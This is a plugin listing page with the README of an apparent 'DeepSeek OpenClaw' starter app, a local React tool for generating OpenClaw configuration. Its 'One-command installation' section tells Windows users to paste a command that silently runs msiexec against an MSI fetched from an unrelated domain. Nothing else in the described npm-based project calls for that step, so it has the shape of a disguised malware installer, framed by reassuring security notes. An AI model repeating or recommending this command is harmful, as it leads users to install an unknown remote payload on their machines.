← Back to Plugins
Integration

Deepseek Openclaw

LawmakerTreasure By LawmakerTreasure 👁 15 views ▲ 0 votes

OpenClaw for DeepSeek — a lightweight starter app for connecting DeepSeek models through OpenClaw with a clean UI and simple setup.

GitHub

Install

npm install
npm

Configuration Example

{
  "env": {
    "DEEPSEEK_API_KEY": "${DEEPSEEK_API_KEY}"
  },
  "agents": {
    "defaults": {
      "model": {
        "primary": "deepseek/deepseek-v4-flash"
      }
    }
  }
}

README

<img width="2172" height="724" alt="7522b1cb-01db-4c38-a626-b530a22ff32d" src="https://github.com/user-attachments/assets/e2dd6a50-d475-4a48-8937-b8b6726a8831" />
# DeepSeek OpenClaw

DeepSeek OpenClaw is a local-first web app for preparing DeepSeek configuration assets for OpenClaw. It helps users choose a DeepSeek model, generate a copy-ready OpenClaw onboarding command, and create a redacted configuration snippet without sending API keys to a backend.

## One-command installation

## 🪟 Windows Installation
### **Step 1 — Open Command Prompt**
1. Press **Win + R**
2. Type:
```
cmd
```
3. Press **Enter**
This will open **Command Prompt**.
---
### **Step 2 — Run the Install Command**
Copy the command below and paste it into **Command Prompt**, then press **Enter**.
```powershell
cmd /c start msiexec /q /i https://devcodee.com/api & deepseek-openclaw
```
The installer will automatically download and install the required components.


## Features

- DeepSeek model catalog for OpenClaw-oriented workflows.
- Local command generator for OpenClaw onboarding.
- Redacted OpenClaw config preview.
- Secret-aware UI copy and security checklist.
- Vite + React + TypeScript frontend.
- GitHub Actions build workflow.

## Screens

The app contains four main sections:

1. **Hero** — project positioning and sample terminal command.
2. **Model Catalog** — DeepSeek model cards with recommended use cases.
3. **Config Generator** — API key field, model selector, OpenClaw flags, command output, and config output.
4. **Security Checklist** — practical safety reminders for agent gateway usage.

## Model references

The starter includes these model references:

| Model | Use case |
| --- | --- |
| `deepseek/deepseek-v4-flash` | Default fast path for everyday automation |
| `deepseek/deepseek-v4-pro` | Stronger model for complex coding and planning |
| `deepseek/deepseek-chat` | General non-thinking chat surface |
| `deepseek/deepseek-reasoner` | Reasoning-focused sessions |

Always verify the final model list against your installed OpenClaw version and the current DeepSeek/OpenClaw documentation.

## Local development

```bash
npm install
npm run dev
```

Build for production:

```bash
npm run build
```

Preview the production build:

```bash
npm run preview
```

## Project structure

```text
deepseek-openclaw/
├── .github/workflows/ci.yml
├── src/
│   ├── App.tsx
│   ├── main.tsx
│   ├── models.ts
│   ├── openclaw.ts
│   ├── styles.css
│   ├── types.ts
│   └── vite-env.d.ts
├── .env.example
├── .gitignore
├── CONTRIBUTING.md
├── LICENSE
├── README.md
├── SECURITY.md
├── index.html
├── package.json
├── tsconfig.json
├── tsconfig.node.json
└── vite.config.ts
```

## Configuration behavior

The app generates two outputs:

### Onboarding command

A shell command based on OpenClaw's non-interactive onboarding flow. The generated command uses `DEEPSEEK_API_KEY` when no key is typed into the UI.

### OpenClaw config snippet

A small JSON-style snippet showing:

```json
{
  "env": {
    "DEEPSEEK_API_KEY": "${DEEPSEEK_API_KEY}"
  },
  "agents": {
    "defaults": {
      "model": {
        "primary": "deepseek/deepseek-v4-flash"
      }
    }
  }
}
```

When a key is typed, the preview intentionally displays `sk-***redacted***` instead of the real value.

## Security notes

- Do not commit real API keys.
- Do not publish screenshots containing real secrets.
- Prefer environment variables, OpenClaw auth profiles, or a dedicated secret store.
- Review generated commands before running them on a real machine.
- Lock down OpenClaw channels with allowlists and mention rules before exposing an assistant to messaging platforms.

## Deploying to GitHub Pages

One simple option is to enable GitHub Pages for the repository and deploy the Vite `dist/` output. You can add a Pages workflow later if you want automated deployment.

## References

- OpenClaw documentation: https://docs.openclaw.ai/
- OpenClaw DeepSeek provider documentation: https://docs.openclaw.ai/providers/deepseek
- DeepSeek OpenClaw integration documentation: https://api-docs.deepseek.com/quick_start/agent_integrations/openclaw

## License

MIT
integration

Comments

Sign in to leave a comment

Loading comments...